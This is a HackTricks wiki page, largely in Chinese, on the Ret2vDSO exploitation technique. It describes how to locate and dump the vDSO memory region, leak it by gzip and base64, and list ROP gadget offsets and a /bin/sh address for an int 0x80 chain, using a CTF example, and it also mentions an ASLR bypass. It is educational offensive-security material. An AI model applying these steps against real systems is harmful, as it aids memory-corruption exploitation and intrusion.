Ret2vDSO

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

可能存在 gadgets in the vDSO region,vDSO 是一个由 kernel 映射的小型 ELF DSO,用来在 user-space 提供一些 kernel helpers 的快速实现。在此类挑战中,通常会提供一个 kernel image 用于 dump vDSO region。

定位 vDSO 基址和导出符号

The vDSO base address is passed in the auxiliary vector as AT_SYSINFO_EHDR, so if you can read /proc/<pid>/auxv (or call getauxval in a helper process), you can recover the base without relying on a memory leak. See Auxiliary Vector (auxv) and vDSO for practical ways to obtain it.

一旦获得基址,将 vDSO 当作普通的 ELF DSO(linux-vdso.so.1)处理:dump 映射并使用 readelf -Ws/objdump -d(或内核参考解析器 tools/testing/selftests/vDSO/parse_vdso.c)解析导出符号并查找 gadgets。在 x86 32-bit 上,vDSO 常导出 __kernel_vsyscall__kernel_sigreturn__kernel_rt_sigreturn;在 x86_64 上常见的导出包括 __vdso_clock_gettime__vdso_gettimeofday__vdso_time。由于 vDSO 使用符号版本控制,在解析符号时要匹配预期的版本。

Following the example from https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ it’s possible to see how it was possible to dump the vdso section and move it to the host with:

# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317                                /target
08049000-0804a000 r-xp 00001000 00:02 317                                /target
0804a000-0804b000 rw-p 00002000 00:02 317                                /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

# Compress and leak it
gzip vdso
base64 vdso.gz

# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'

找到的 ROP gadgets:

vdso_addr = 0xf7ffc000

int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800

# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd

Caution

因此请注意,如果内核以 CONFIG_COMPAT_VDSO 编译,vdso 地址不会被随机化,可能能够通过 bypass ASLR abusing the vdso 绕过 ASLR: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639

ARM64

在 kali 2023.2 arm64 上对某个二进制的 vdso 段进行 dump 并检查后,我没有在其中找到任何有趣的 gadget(无法通过栈中的值控制寄存器,也无法控制 x30 以用于 ret),except a way to call a SROP。更多信息请参见页面中的示例:

SROP - arm64

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks